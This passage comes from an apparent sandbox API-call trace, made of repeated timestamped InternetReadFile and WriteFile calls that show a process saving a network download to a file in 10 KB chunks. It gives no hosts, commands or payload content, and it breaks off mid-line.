[0061.374] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.374] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.382] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.383] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.391] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.392] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.395] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.395] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.401] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.401] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.405] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.405] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.412] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.412] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.421] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.422] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.431] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.431] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.434] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.434] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.437] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.438] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.443] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.443] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.451] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.451] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.461] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.461] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.470] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.470] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.473] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.473] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.476] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.477] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.506] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.512] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.513] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.513] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.514] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.514] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.514] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.515] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.515] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.516] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.516] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.517] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.540] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.540] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.542] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.542] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.553] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.554] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.556] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.556] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.558] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.559] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.560] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.560] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.581] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.581] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.585] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.585] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.594] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.595] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.602] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.603] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.607] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.607] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.610] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.611] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.616] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.616] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.625] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.625] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.634] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.634] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.644] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.644] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.647] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.648] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.654] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.654] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.657] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.657] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.663] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.663] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.673] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.674] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.676] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.676] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.687] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.687] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.692] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.693] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.696] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.696] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.702] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.703] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.708] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.708] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.715] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.715] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.724] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0061.724] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0061.732] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, 